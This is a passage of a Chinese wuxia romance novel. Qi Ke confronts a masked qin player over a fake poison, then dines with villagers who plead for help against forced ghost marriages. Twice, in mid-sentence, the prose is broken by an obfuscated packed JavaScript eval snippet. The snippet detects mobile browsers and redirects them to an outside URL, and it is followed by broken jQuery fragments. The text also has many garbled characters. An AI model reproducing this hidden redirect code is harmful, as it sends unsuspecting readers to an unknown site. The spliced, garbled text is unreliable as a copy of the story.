一舞毕,星河欲转,酣畅淋漓。齐珂觉得通身都痛快了,不久前的酸麻不见,五脏六腑四肢筋脉舒畅了许多。
她长呼出一口气,双手叉腰:“爽!”
忽然,空旷山野间传来琴曲袅袅,是一曲姑苏小调《浣溪沙》,琴声潺潺,润如雨泽,犹如清泉流水抓住齐珂澎湃的心脏。
她猛地一惊——竟有人在?!
突然,脚下的的藏红花田泥流涌动,齐珂暗道一声不好,迅速做出反应,刚想踏地飞起,但脚底被浇灌了太多水的泥潭忽然变得像沼泽一般,牢牢地吸住她的双腿,惊呼声还未出口,齐珂觉得眼前一暗,只来得及屏息挡住涌进口鼻的烂泥,身子一沉,朝地下坠去——
“咚!”屁股着地,发出好大一声闷响,琴声戛然而止。
“草,老娘的屁股!啊~~”齐珂的双眼被烂泥糊住,她觉得屁股被摔得四分五裂,挣扎着去揉:“啊!疼疼疼!”刚一碰到,她忍不住痛呼出声。
“哼~”不远处一声好听的轻笑,隐在叮当的泉水声后。齐珂抹开眼睛上的烂泥,勉强半睁开眼睛,一片模糊中,面前有一汪湛蓝的清泉,清泉后一张小石桌,桌上一方琴,琴后一个黑衣端坐的男人,她再用袖子揉揉眼,眼前的画面终于清晰。
男人跪坐,身形清瘦却十分挺拔,脸上戴着半张银色流光的面具,白皙的手指落于琴上,手指轻轻一勾,泉水叮咚,柔和温婉——是羽音。
齐珂身子一颤,竟然觉得方才摔下来的疼痛都缓和了很多,见一身狼狈的人站起来,抚琴的男人抬眼,即使戴着面具,他的面容在石缝透下的月辉里都显得俊逸非常,他的眼睛在月光下是青碧色,猫眼石一般,像是流淌的一汪青翠。男人年纪估摸着和齐珂相仿,腰间别着一根红色的长鞭。见齐珂愤怒着一张脸看过来,他歪头笑笑,竟像一只夜狸,说不出的狡黠。
“果然是你!”齐珂被气笑,双手叉腰:“燕公子,好阵仗啊!”她低头看着满身泥泞,咬牙切齿:“我好歹也是个爱美的大美人,我都要死了,也不给我留一副好遗容?!”
“谁说你要死?”他笑着起身,双手背在身后,脚步轻快,但踏地无声,走到一旁的桌子上给她递上一块帕子:“不二吗?那小子的话听一半信一半,不必当真。”
“天仙子是剧毒。”
“哦~可天仙子贵。”
“所以呢?”齐珂擦泥的手一顿。
“所以若是想杀/个人玩玩儿,太奢侈。况且,我一闲人,身后无门派,身上无功名,来无痕去无踪,若有闲钱,都用来买酒了,哪有钱再买天仙子?”
“但我身上的感……”齐珂顿住,对上对方带着笑意的眸子,那双青碧色的眸子里竟然还有几分得意:“你!”
她调转内力,真气游遍全身,所有的不适感都消失了:“那不是毒药?”
“没说是啊。”他噗嗤一声笑出声来,声音带着少年的顽皮,又有青年的清润,十分好听:“你被骗啦!”
“可那里头分明有天仙子……”
“不二随便揪了朵花,东拔两片叶子,西撕几朵花瓣,也能装成天仙子的样子,就是强效麻沸散,你修为高,对你起不到什么作用,方才再运了一百桶水,大汗淋漓,这药效早就没了,少年人,还是江湖经验浅呐~”
“你说谁呢?!“齐珂怕脏了的帕子砸到他身上,在石桌旁盘腿大大咧咧坐下:“别兜圈子了,锦囊里的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803064|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我做完了,我弟弟……”
“好着呢!毒早解了!”他笑着在她对面跪坐,将垂到胸前头发撩到脑后,他扎着高马尾,发丝飘逸,在月色下晕着柔光,毛茸茸的,像一只猫——美色!这等美色在前,若不是理智占上风,齐珂真想伸手揉揉他的脑袋。
向玉的美带着风流,但他喜欢撩拨,像一只四处开屏的白孔雀,且他面上看着春风和煦,实际心思难解,深藏不露,美得危险。
谢明的美带着少年的俊俏,孩子性子是别扭阴冷了些,但到底年少,骨子里的意气风发是藏也藏不住的,美得有血性。
君莫也很美,身处淤泥之中,却固执地维持着清傲。但戏子千面,他们接触还不多,见过禁欲清冷的他,见过偏执疯狂的他,但他的美总是藏于浓厚的妆容之下,这样的美,真假难辨。
而眼前这个人,他也美,但他像一只七窍玲珑,血统尊贵却流于荒野,野性难驯的野猫,对,不是家猫,是野猫!家猫的眼睛里不会有这样多狡黠的神采,亦正亦邪,让人不知道若是给他一片小鱼干,换来的是他笑眯眯地用脑袋蹭蹭你,还是用他锋利的指甲划破你的喉咙,鲜血四溅。
“毒既解,告辞!”齐珂放下心,她所做的一切不过为了谢明的一个“安”字,既然一切有惊无险,便不想停留。
“哼~”男人又笑:“你若当真不想管,我们也不会见面了。”
齐珂皱眉看向他,他单边挑起眉毛,一副势在必得的表情:“三道锦囊,若有一事未成,我都不会与你相见。”
“你给我锦囊是想让我查鬼将军?为何是我?”
“谁都一样。”他冲齐珂眨眨眼。
“什么意思?”
“不是你,也会是别人,只要谁能做完锦囊上这三件事,我便找谁帮忙,只是一直苦于此人难得。”
“可这三件事不难。”
“非也~”他的眼睛在月光下熠熠闪光:“恰恰相反,难!太难!”
“算上你缺心眼儿自认喝下的毒药,以命易命,不畏生死重情重义,此乃一道。”
“侠肝义胆,古道热肠,锄强扶弱,此乃二道。”
“不畏劳苦险阻,负芒披苇,此乃三道。”
他目光灼灼地看向齐珂,眼中锋芒毕露,仿佛在看一个精心挑选后的猎物:“
得此三道者,世上能有几人?”
“那还真是有负你期待。”齐珂冷哼一声:
“所谓重情重义,那是因为阿明是我弟弟,我的情意只对我的家人。什么侠肝义胆,古道热肠,我这人平生最不愿多管闲事,今日出手留下可追的线索,也只不过是喝了人家姑娘的好酒,想还一份人情,死前不多留遗憾。至于什么不畏劳苦险阻,负芒披苇,不好意思,流云飞袖是我云清宫绝学,用它挑水,别说百桶,就是千桶万桶照旧信手拈来,对于我们齐家人而言,与寻常练功无异,本就算不得什么劳苦。”
“所以!”齐珂起身:“你找错人了!”
他也不恼,听到齐珂一条条反驳,反而笑着点头以示:瞧,我在认真听你讲,没开小差。但听归听,至于是否认同:
“齐宫主,你并非如自己所说。旁观者清,我踏遍江湖,见太多人事,看得分明。”
“燕公子——”齐珂高声打断他:“别太自信了!我究竟是什么样的人,别人又如何知晓?”
“我就是知道!”他一歪头,举起面前的空杯,冲她眨眨眼,将杯中空气一饮而尽:“我就是知道!啊~好酒!”
“有病记得治!”齐珂白他一眼,抬脚欲走,忽然脚步一顿,转身,身后的人原本伸着手想冲她摆摆手告别,看人转过来,勾唇笑笑:“就这一会儿,改变主意赞同我的观点了?”
“你叫什么?”
“不重要。”他笑着摇头。
“你为何自己不动手?”
“我?”像是听到什么笑话似的,他好笑地瞪大眼睛,起身走到琴前,身后马尾摆动,发丝飘逸,他落座,指尖划过高山流水,却不回再回答齐珂的问题,反倒自顾自开口,闲闲唱起来:
“我本江湖一闲人,一张琴,一壶酒,且陶陶,乐尽天真~”
“闲人个鬼!”齐珂努嘴骂道,见面前人当真不再理他,她盯着他脸上的面具,忽然眼珠一转:
“喂!燕子,面具劈得不错!不过……就当是为了顾燕二位前辈,你可得保全自己小命,别等下次,人见不到,只剩你脸上这半张面具了。”
琴声一顿,齐珂笑起来:“少年人,你江湖经验才浅呢!”
男人眯眼笑了当作应下,琴声恢复,很快又流畅如山高水阔,齐珂再深深看了他一眼,转身快步离开。
月亮藏进了云里,山野间已不闻悲泣,天地寂寥,忽有乌鸦盘旋,齐珂抬头:
鸽房来信了!
17、喜神娘娘牵鬼线,“傲雪凌霜”逼新娘
乌鸦哀鸣,在齐回头质 旋几圈,她笑着从腰间的荷包里掏出几粒小米,头顶那只额头上带着点橙色的乌鸦高傲地看了她 眼,忽然“嘎嘎——”两声飞掠而去翅膀扫过她的头顶落下两片乌黑油亮的
羽毛。
“居然不认我?!鸽房怎么训的乌鸦!等我回去,把你们毛全拔了!”她气急败坏地往山下走,乌鸦去的方向正是村子西头的百花阁。
阁外不知道什么时候挂上了两盖大红灯笼,灯笼纸破破文烂,但里面烛火通明。老远看见一道质长的粉红色身影抱臂半靠在门边往山上张望,看到齐珂,那道粉色的身影刷一下奔跑到近前:
“珂珂~~”
“你好了?这就能下床了?”齐珂被他的热情吓到后退一步,猫腰躲开他张开的双臂:“我身上都是烂泥,脏得很。”
“珂珂你是出淤泥而不染,濯清涟而不妖!”他小跑着追上来。
“你消停会儿吧,不二说你要好好休养些时日,阿明怎么样?”两人并肩往百花阁里走,摇曳的灯火拉长两人的影子,比肩而立,步伐一致,十分般配。
“放心吧,应该是有人给解了毒,我方才探他脉象,平稳得很,但这毒耗人,解了毒也得睡上一两日,哎?等等,不对不对不对~”
他抱臂倒退着走晃到齐坷面前,一张漂亮至极的脸蛋凑上前来:“不二是谁?”他委屈道:珂珂~我才晕过去几个时辰啊,你就又认识其他男人了?!心痛!”
“滚蛋!”齐珂一把推开他的脸,掀起袍子跨过腐朽的门槛进院:“许你招蜂引蝶卖/弄/风/骚,还不许我拈花惹草?听你这么说,不二走了?”
“说得在理。”向玉点头,二人穿过月洞门来到四进院,他若有所思,落小半步跟在齐珂后面:“走了好走了好!”
东厢房里掌了灯,空气中弥浸着一股雪中春信的淡淡梅香,冲淡了屋子里原本的草药味,草席上两人,谢明身上裹着被子沉沉睡着,另一边君莫的双腿被打上竹板固定,手上被绳子绑着,人已经醒了,
靠在窗边,静静地看向窗外,听到二人进来,他缓缓转过头,眼神中再没了两日前在竹林中的疯狂,他又往窗边挪了挪,一副生人勿近的样子。
"你就这么放心把他俩单独留在这儿?万一这货……"
“珂珂你看,绑着呢,动不了!”向玉纤细的手腕一转,指了指君莫手上的绳子。"我是不是还得夸你?"
“未雨绸缪,分内之事,美人不必言谢。”向玉摆摆手,粉色的长袖摇曳,眸光潋艳如晴水。齐珂无奈看了他 眼,抬脚上前走到谢明身边,背过身时,唇角却忍不住勾了勾。
她伸于搭上谢明的脉博,脉搏虽不强劲,却十分平稳,她的指尖和谢明于腕间有气流涌动,内力缓缓探进去,顺过他所有的筋脉—毒确实解了,她长舒一口气,这时候却听见-直没有理他们的君莫冷冷开口道:
"绑不住我。“
“什么?”两人转头,齐珂看着他那一副淡淡的死/人样,手还握着谢明的手腕,想到这几日谢明所受的痛楚,她的眼中多了一抹杀意,但还是被她按下。君莫面无表情地扫视二人一眼,他脸上那张“齐珂假脸”化得不剩多少,却还有几分神似,用了她的脸还这幅欠揍的表情,真想扇他!——齐珂心想。“你大意了。”他转向向玉,眼神终于有了变化。
“你这是什么眼神?你瞧不起我?”向玉挽起袖子上前,大步走到君莫跟前,君莫不躲,还是 副看傻子的表情,向玉却突然顿住,回头问:“珂珂,你不拦我?”“不拦,我也想揍他!”齐珂阴侧侧说道:“不过,我很好奇,绳子缚得那样紧,绑不住你?”
“我会缩骨。”
“既能走,为何不逃?”君莫看傻子的眼神又转移到齐珂的身上。“珂珂~”向玉轻声喊她。“干嘛?”
“腿!”他伸出手,小心翼翼指了指君莫被齐珂打断的双腿。
哦“齐珂描尬地眩嗽两声,双手背在身后,居高临下看着君莫:“你伤阿明的这笔账,我打断你的腿,错开你的筋骨,若还有别的要讨,等阿明醒过来,自会我你算账!在此之前,我有几个问题想问你。”
“我不想答。”君莫把头撇过去,重新看向窗外,向玉用手背拍了拍他,被君莫回瞪一眼:“美人给你机会,你好好把握!还想再断根骨头?”“不是人人都向你这般谄媚,见到个有姿色的女子就走不动道!”君莫头也没回呛声。“什么叫谄媚?卿本佳人,风月无双,我向玉爱慕一切美好的事物,爱美之心人皆有之!何错之有?”“你有眼光!”齐珂冲君莫点点头。
“珂珂,你也觉得我谄媚?!”向玉满脸受伤,委屈回头,脸上写满了不可置信。"我是说——他说我有姿色,有眼光。"
“我同你二人无话可说!”君莫被这二人气到,吐出胸腔中一口浊气,转头看向窗外寂寥的月色,不再同两人答话。“来日方长,不急于这一刻。”向玉无所谓地笑笑,这话,说给君莫听,也说给齐珂听:“走吧,吃晚饭去!”接近亥时,齐珂也觉得有些饿了:“你做饭了?”
自然没有。”向玉整理泡子:“方才等你的时候,四
处转转,想必珂珂你也发现了,这落霞村处处透着诡异,去村头打水净手,碰巧撞见一位邻里阿嬷,同她聊了会儿天,邀我们去吃饭。盛情难却,我应下了。"
“亥时还有饭吃?”
“专程等我们的。”向玉轻推齐珂的后背:“屏风后面放了热水,珂珂你快擦擦,换身干净衣裳,我们一道过去,我饿了~”“不能放他们二人单独一处。”齐珂犹豫:“喂!你!”
向玉手刀劈过,君莫瞪大眼睛还没有叫喊出声,双眼 翻晕了过去,他从草席下面抽出 根粗麻绳,又将人里里外外捆得严严实实:“珂珂,你放心,我这种捆法,饶他会缩骨,也挣脱不开。”"改天教教我。"
"好说!"向玉捆完自觉出了屋子:“我在百花阁外等你,不急!"
粉色的身影消失在屋里,连带着雪中春信的味道都淡了不少,他出去的脚步有些乱,齐珂凝神听着,手摘起盆中的水发出哗啦的声响,腰带解开放到桌上,腰带上点级着的细小的彩石与木桌相碰,咯哒
一声——那慌忙出去的脚步声更乱了,长靴踩在院中的荒草上,吱呀吱呀,他像是加快了步子跑出去。
“不是久经情场的浪/子吗?跑什么?”齐珂勾起唇角轻嗤一声,用水随意擦了擦,换了一套同款不同色的紫衣。
月亮被低垂的乱云遮住,百花阁外的灯笼在风中摇曳,齐珂走出去,向玉半靠在白花阁门前的石狮上,狮子头顶站着一只毛色油亮的乌鸦,低头啄他手上的黄米。“我鸽房里的乌鸦倒是跟你亲近。”她叉手晃到向玉身后,乌鸦腿上绑着的信筒完好。“许是闻到我身上有你的香气。”向玉回头莞尔:"我没看,你放心。"
她伸手,乌鸦嘎嘎两声飞起停到她的胳膊上,齐珂解开信筒,抽出信纸,手臂一抬,乌鸦往阁里飞去:“你这话说的,身上有我的味道——倒像我们俩有什么似的。”
人行香坞,衣沾香雾。靠美人近了,总会染上香气,不过珂珂你这样说…我是不介高同你真的有些什么。”说罢,他款款走近些,人还没靠过来被齐珂用于指截开,她眉眼微理,慵懒道:“怕你有贼
心没贼胆。”
“放心,我胆大包天!”
“那便是有胆没命。”
“命比王八长!走吧,东头数第六家,我们吃饭去!”他推着齐珂往前走,齐珂捻开手上的信纸,信上话不多,交代的事情却不少,言简意赅:
其:远容山诸杰得齐珂未死讯息,不肯离去,仍要上云清宫投奔避难,棠护法已将人挡回。
其二:以山泉官万宫主为首的诸位言主,因抓获火烧吴家庄的凶手,在远容山名声大振,万宫主在春香馆大办庆功宴,宴请居于风阳县的豪杰,大有风雨江湖中主心骨的架势。只不过听间月光湖畔表家
村有妇人为那二十多个凶手伸冤,在府衙击鼓鸣冤,两方互不相让,闹得不可开交。
“万仁这个草包!好大喜功,抓错人也不会承认的。”齐珂无语,转头却看见走在身旁的向玉一脸若有所思的表情:“怎么了?”
"月光湖畔裘家村……珂珂,你还记得我们初遇之时……"
"你是说那二十几个人是当时追我们的?不,追你的?!"
“不无可能。”向玉脸色不太好:“表家村统共三十多户人家,当时追我们的少说二十,吴家村裘家村,所隔不过一片林子一片湖泊,当日若是没寻着我们,拿着家伙事儿路往东,正好被赶过去的万仁一伙碰到,也不是没可能啊……"
齐珂深吸一口气,闭了闭眼:“你实话告诉我,人家当初为何追你?”
我这不是早同你交代了吗?”向玉跺脚拍手,急急道:“天地良心,绝无隐瞒!我就是劝慰了一番湖边哭泣的小娘子,送她回村,谁知反被当作登徒子一路追打,然后就遇上你了。对天发昏,若有虚言,天打雷劈!"
“轰隆隆!”闷雷声从天边响起。
"这……今日本是阴雨天!"
“我信你个鬼!”齐珂白他一眼:“所以那些百姓都是好人?”
“只能说是与吴家庄无关的人,是不是好人不知道。”齐珂点头,此话有理:“我会去信给我宫里护法,让她们去看看此事的。”
“护法是美人儿还是……?”
齐珂皮笑肉不笑:“这位公子,美人儿都有脾气,像我这么温柔的可不多,劝你别打她们主意,否则怎么死的都不知道。”“珂珂说得是,有江湖第一大美人同行,我当修身养性,不再朝秦暮楚,见异思迁。”
“有觉悟!”
二人继续往前,绕过一处草堆,柱香扑鼻,齐珂停住脚步,桂下三坛女儿红仍在,可贴满喜字的屋中,喝酒的人却不在了,空留窗上挂着的一串风铃,在风雨欲来的夜晚随风飘荡,叮铃作响。“这家女儿也被配了冥/婚?”向玉轻声道。
“你看出来了?这是座喜村,多的是鬼嫁娘。今天就是出嫁的日子。”齐珂捏紧手上的信纸。
“一路行来,这是第六家。”
“还有八户。”
“珂珂,你会管吗?”
她回头看他,向玉漂亮的黑眸在周遭的昏暗中愈显深沉,到
齐珂居然在他的眼睛里看到了一份笃定,她垂下眼眸,视线扫过桂花树下的女儿红,轻叹一声道:"喝了人家的酒,就不算闲事了,总要管一管的。"
“我就知道!”向玉笑了,他眉眼舒展,唇边的梨涡若影若现。
“别觉得自己懂我!”齐珂无语地瞥他一眼,举起手中的信纸:"我要查,还有一个原因。"
向玉看向信纸上的内容:
“其三,麒麟山凌霄宫宫主朗云生死未卜,去信无回音,月护法和朗夫人已从密道下山,往麒麟山去。”
“麒麟山距此地少说也有两百里。”向玉回忆着车上看的舆图:“落霞村如今归凌霄宫庇护?”
“村里的人是这么说,凌需宫的人去远容山投奔了云清官,官主朗云留守,先不说我们之前碰上的并不是真正的庵教,就算是真的,按照冥王生死站的发贴规矩,我们不死,其余门派便不会有事。”“关心则乱。如今江湖不太平,来往信件收不到也是常有的事,那位明夫人担心丈夫乱了阵脚,能够理解。只是,珂珂,你们云清官不是不管别官事情吗?投宿在远容山山脚的诸门派你也一概未见。”“我宫中护法馨月与这位朗夫人是同门师姐妹,行二行十。”
“原来如此~”向玉点点头,两人拐过子衿家的房子,入目座三厅联非瓦舍,对比两边的房子,这家人生活条件好上不少,门外耶没有贴言字,对比邻居门扉紧闭,这户人家院门开着,老远就能间到菜粥的香味:"到了,就是这家。"
他拿出随身携带的小镜子,借着灯笼的火光整理仪容,又帮齐珂看了看,伸手朝她脸上探去,齐珂下意识躲开:“干嘛?”“泥点子。”他用拇指轻轻擦拭她的右脸,齐珂没再躲开,他冰凉的指尖扫过齐珂的唇角,她不自在地轻咳两声:“现在呢?”"美人如玉,灼灼其华。"
“油嘴滑舌!”齐珂笑打开他的手,向玉吃痛委屈地瞥她一眼,长袖在身侧展开,扬声对屋内喊道:“林家阿姐!”
哎购!向公子!”里面快步走出来一个系着围裙的老妇人,身后跟着一个半大的孩子,怯生生牵着她的衣裳,几人听到几声拐杖杵地的声音,缓缓踱出来一个满头花白,何着腰的老翁:“向少侠和夫人来啦,粗茶淡饭备下,快进来吧!"
“这是”齐珂看老人年纪似乎更大些,拿不定几人之间的关系,悄悄拽向玉的袖子,反被他握住手,他满脸笑意,如沐吞风,游刀有余地招呼:“林家阿姐客气,这是内子,内子性子腼映,初次见面
有些生疏,阿姐莫怪!哎哟,叔!"
他拉着齐珂上前,伸手扶住颠颤斑的老翁:“您身子不好,怎么也出来了,快进屋坐着!来来来,我扶您!什么粗茶淡饭,我与内子行走江湖,多的是风餐露宿的日子,好不容易能吃上一碗热乎的,
已是感激不尽,今日多有叨扰,来叔!"
他从怀里掏出一包银子,两人推操着塞到老翁手上:“今日来得急,没寻着地方买些新鲜水果,我想着那就干脆折合成银钱,入秋也给孩子置办几件秋衣,小朋友!”
他招呼妇人身后的孩子,那个孩子吮着手指头小心翼翼地探出脑袋,老妇人拉扯他上前,他怕怕瑟瑟地不肯挪脚。
“你这孩子!扭捏!”妇人在孩子背上拍了一巴掌,抬头正对上齐珂的视线,两人尴尬地对视笑,向玉已经走上前来,聘下身子,从袖子里掏出一个精致的布老虎:“小朋友,送给你。“又起身掏出
一柄短刀递给老妇:“留着防身用。”
齐珂扫了一眼,寻常路边摊子上买的,不是什么神兵利器,刀锋钝,削苹果可以,削人不行。
可谁知,这一家人看到短刀,忽然面色一变,尤其是原本已经坐下的老翁,扔掉手中的拐杖,扑通一声跪下来,瞬间涕泗横流:“求少侠夫人救我女儿性命!”
老妇人间言,颤斑巍接过刀,凄怆冲老人喊了一声:“阿彭!”慌忙上前扶,被向玉抢先 步:“哎购,瞧您这话说的,好说好说,快起来!我年纪轻轻一个毛头小子,哪里受得起您跪拜!快起来快起
来!”
齐珂眼神在那对痛哭流洋的妇女身上停留,又扫过向玉,他 脸悲悯,十分恳切,像是悲天悯人的慈僧,再多说两句也要落下泪来,她眯了眯眼,长眉挑起,心道:“至于吗?还有这两个老人,她见多
了宫中四大美男在她面前排演话本故事,倒觉得他们演得比面前这三个情真。"
她挠了挠脖子,转头正好和拿着布老虎的小孩儿四目相对,他的眼里恐惧未散,瑟缩地看着她,齐珂扯出笑容,她惯不会哄孩子:“你别怕,我们不是坏人,我给你讲故事吧,布老虎的故事。”
旁边三人还在哭天抢地,一边哭世道艰难,落霞村为刀俎下的鱼肉,任恶人把玩践踏,另一边愤慨陈词,势要降妖除庵,匡扶正道。平民百姓和江湖侠客间惯用的说辞,她听着心烦,就去找小孩子玩:从前有座山,山上有座庙,庙里老和尚送了小和尚一个布老虎,小和尚问老和尚,布老虎为什么没有眼睛呢?老和尚说,因为万物有灵,善灵聚于心,恶灵却汇聚在眼睛,若足布老虎上有了眼睛,半夜就会变成被凶灵
附体的饿鬼,会吃人的,就想这样,嗷呜~~"
“哇哇哇!”她自认故事讲得还不错,谁知道小孩子竟然一把丢掉向玉送给他的布老虎,坐在地上哇哇大哭起来。
“夫人!”那边也终于安静下来,老妇人赶紧上前抱起孩子哄着,转向齐珂的眼神多有责备:“夫人莫要讲这样的故事,当心喜神娘娘降罪!”
“喜神……娘娘?”齐珂有些无措地起身,和向玉对视一眼嘛,后者站在老翁身后,眼神不着痕迹地往老翁身上一扫,齐珂凛神:此为何意?莫非……
孩子哭得厉害,老妇人埋怨地看了齐珂一眼,抱着孩子去隔壁房间哄着,倒是老翁先开了口:“向公子,向夫人,孩子年纪小,不懂事,他娘亲哄着,我们先吃,先吃!”说着,颤夏斑地引二人坐
下。
“抱……”
齐珂话还没有说出口,向玉抢先一步道:“林叔莫怪,江湖孩子们养得不精贵,听鬼怪铁间多,习以为常。内子平索也是和我们的孩子这样讲故事,不成想,今日吓着小公子,她原本也是好心,却…无
论如何,我待内子道歉。"
“孩?—那个,林叔,我之过,望林叔林姐还有孩子见凉!”齐回原本想反驳,混蛋向玉,对外假言夫妻-事,她还没找他算账,如今又平白多了几个孩子,她假笑着坐到向玉边上,桌下用力踹了他
一脚,捧起粥碗向老翁道歉:“只是方才林姐说的喜神娘娘是谁?一个故事而已,为何会触怒喜神娘娘?”
老翁舀粥的手一顿:"二位一路过来,瞧见村里样子了?"
“喜事繁多,只是看着礼既成,人已散,没能讨上杯喜酒。”向玉往日吃东西精细,但今天居然和齐珂一样,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786397|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捧着粥碗狼吞虎咽,十分接地气。
“哼,都是冥/婚,哪儿来的喜酒!”老翁愤然拍下筷子,又想要起身求向玉,被他眼疾手快压下来,他故作惊讶道:
什么?!居然是冥婚?!哪个畜生想出的主意!让我知道,我非将他扒皮抽筋不可!娘子,我等江湖侠客,自当锄强扶弱,惩恶扬善!此忙,我们义不容辞!哎呀,林叔,我既答应帮忙,自然不会食
言,您坐着吃,否则我们都不好意思再续碗了。不过,既要帮忙,总该了解清楚的,这喜神娘娘是何人?"
齐珂扯着喘角笑笑,对上林老头看过来的目光,她立马扬起一个灿烂的明媚的,安全感十足的笑容,眼神坚定地仿佛能杀穿世问魑魅魍短,她握起拳头在胸口一锤:“夫君所言,皆我心声!林叔尽管
说,有我们在!!"
林老头瞧这两人义愤填膺的模样,神色才有些松动,垂眸,满是褶皱的眼皮微微动着:“牵红线的娘娘,她手上有一本姻缘册,上面用写满了名字,姻缘册前半张是新郎,后半张是新娘,但新娘新
娘……"
他的手抖如筛子,向玉帮忙按住,被他紧紧抓住,像抓住最后一个根救命稻草 般:“新娘的名字全部都是用血写的,言神娘娘就拿着册子,一家家找,一家一家对,凡册子上有名字,但不同意出嫁
的,就先抓家里的一个男人,若是再不从,就 就杀人呐!这村子里嫁出去的女人们,有才十三四岁的Y头,还有半只脚已经踏进棺材的老人家,你说…你说我们这村子是造了什么萝啊!"
说着,他双手掩面,呜呜哭起来,林老头年纪不小,但眼睛还没有浑浊,一行行清泪落下来,倒看得人有几分动容,但齐珂除外,她总觉得有哪里不对劲。
“那方才我讲的那个故事,为什么不能让喜神娘娘听见?”
“因为鬼将军的爱宠,就是没有眼睛的!”
“没有眼睛……”齐珂脑中忽然闪过躲在子衿床底看到的那双绣花鞋:“他的爱宠不会是鸭子吧?”
“哈?”向玉疑惑。
“那是驾鸯!”林老头忙纠正:“鬼将军和喜神娘娘是 对,但老人言,眼睛透人心,神鬼是没有心的,所以不仅鬼将军和喜神娘娘蒙着眼睛,他们的随从,甚至是宠物多没有眼睛!”
“变态!”齐珂感觉自己起了一身鸡皮疙瘩,什么鬼癖好。
“那林叔你可知道那本姻缘册上还有多少新娘没被带走?”向玉的手在桌下拍拍她,齐珂拂开,眼神扫他一眼,心道:“我摩学肩膀才不是因为害怕,少来!”
“还有十四位。”他刚止住的眼泪突然又流下来:“我家,我家姑娘就在下回的名单上…向公子向夫人,不,大侠,女侠,我求求你们,求求你们帮帮我们吧!我给你们磕头,给你们临头!”
“哎!”齐珂啧了一声在人跪下去之前一把把人捞起来:“都说了会帮,别动不动跪来跪去的,人立于世,甭管多难,别轻易跪旁人。”
林老头一愣,“诶诶”应着起身。
“林叔啊!”向玉给他续了一碗粥:"下一回娶亲是什么时候?我们好看着日子早做准备。"
“九月十七。”
“今天才八月二十三,还有二十来天。”齐珂皱眉,原想速战速决好早日回云清官,吴家庄的人没救出来,她下山的任务失败,早该回云清官了,愣是因为贪杯喝了人家酒,留下来管这档
子事,如今却被告知还有等二十余天?!
她双手抱臂,走一步踢 脚脚下的叶子,向玉走在她身旁一直没有作声,天上的乌云又低了些,远处山页的闷面轰隆隆响着,齐珂把脚边的落叶哗得踢散,转身面向向玉:“你怎么找到这户人家的?我
总觉得这家人有哪里怪怪的。”
"他们先找上我的。"向玉眉心微微动了动,双手拢在袖子里。
“何处?”
“百花阁。”
“这是瞧好目标盯上的?”齐珂敛眉问道。
“应该是看见村口巨石阵了,有人设阵,有人破阵,便来百花阁碰一碰运气。珂珂,你信他说的话吗?”
“不能全信,但你们没醒的时候,我碰见了小鬼抬轿迎亲,新娘的绣花鞋上确文有一对没有眼睛的鸳鸯,而目新娘告诉我,每次嫁娶,的确为十四人。但我又觉得这家人有问题,所以,还是留个心眼
吧,对了,你方才在他家里,给我那眼神是什么意思?"
"什么眼神?"
“就是我把人孩子吓哭之后,你站在林老头后面看我,眼睛往他身上瞟了一下。”"哦~”向玉记起来,挑眉一笑:“珂珂对我这么关注,这还记得?"“说——人——话——”“我是在提醒你,这林老头不是个寻常农夫。”
齐珂沉默着想了会儿:“落霞村多良田湖泊,物产丰盈,足够自给自足。这里离最近的城镇,坐驴车骤车,往返也得两天,出行归家大麻烦,所以这儿的百姓大多不去周边城镇讨生活。男人种田捕鱼,
女人做饭织衣,一般农户,手上都会有很厚的老茧,但这个林老头……"
“是个读书人。”向玉沉声道:“他手上的老茧在食指和中指指节处,沿途房舍多为平房单间,只能容得下一家人勉强生活,林老头三间房,但看房中生活痕迹也最多只有三人,没有人来这儿读书。林
姐哄孩子的第二间房却有一股霉味,是书发霉的味道。再者无药草香,桌上摊着的记账本子也没章法可循……
“不是教书先生,不是大夫,不是账房。”齐珂接着说道:“那在落霞村里,读书人做什么用?”“等阿明弟弟恢复好,我想借他一用,珂珂你可允?”
"你自己同他说去。"
我这不是担心”向玉晃荡着凌过来,仲出手指夹住齐珂的袖子,轻轻拽了两下:“我这几日不能动内力,但阿明弟弟只听你的话,我这要是提了,他 剑劈过来,身子挨上一剑是小,万-弄花我这
张惊世绝伦的俊脸,那我日后可如何活?”
“你倒是惜命。”齐珂被逗笑。
“死不可惧,我这是惜脸,就算要死,那也得漂漂亮亮地死!”向玉说得义正严辞。
“这点我赞同。”她抬脚往前走,雷声愈发近了,她才换的衣服不想再被淋湿,向玉小跑黏上来,不依不饶:“珂珂~”
“你有句话说错了,阿明不是听我的话,从小到大,他听的是自己内心的声音,从来都不是我让他跟着我,护着我,遵我的道,是他自己选择的,我劝过,他不听,我也没办法。”“但让他别气急打我这一点,你这个姐姐还是能做主的吧!他心里会告诉自己,阿姐这番嘱咐定有道理,哎哟~珂珂~好珂珂~大美人,小仙女,可别等你回来再见我时,我成了花脸丑八怪!”“等等!”齐珂脚步猛地一顿,眯起眼睛,眸色似点漆,向玉下意识松开她的衣袖,眼神有些闪躲:“你怎么知道,我要离开几日?”
“那个……我说了你别生气,珂珂你也知道,我乃情场浪子,最通这些恩爱……纠葛……”
齐珂眼中危险的光芒愈甚,向玉咽了一口口水,指指被她放进胸口的信纸,一字一句慢慢道:
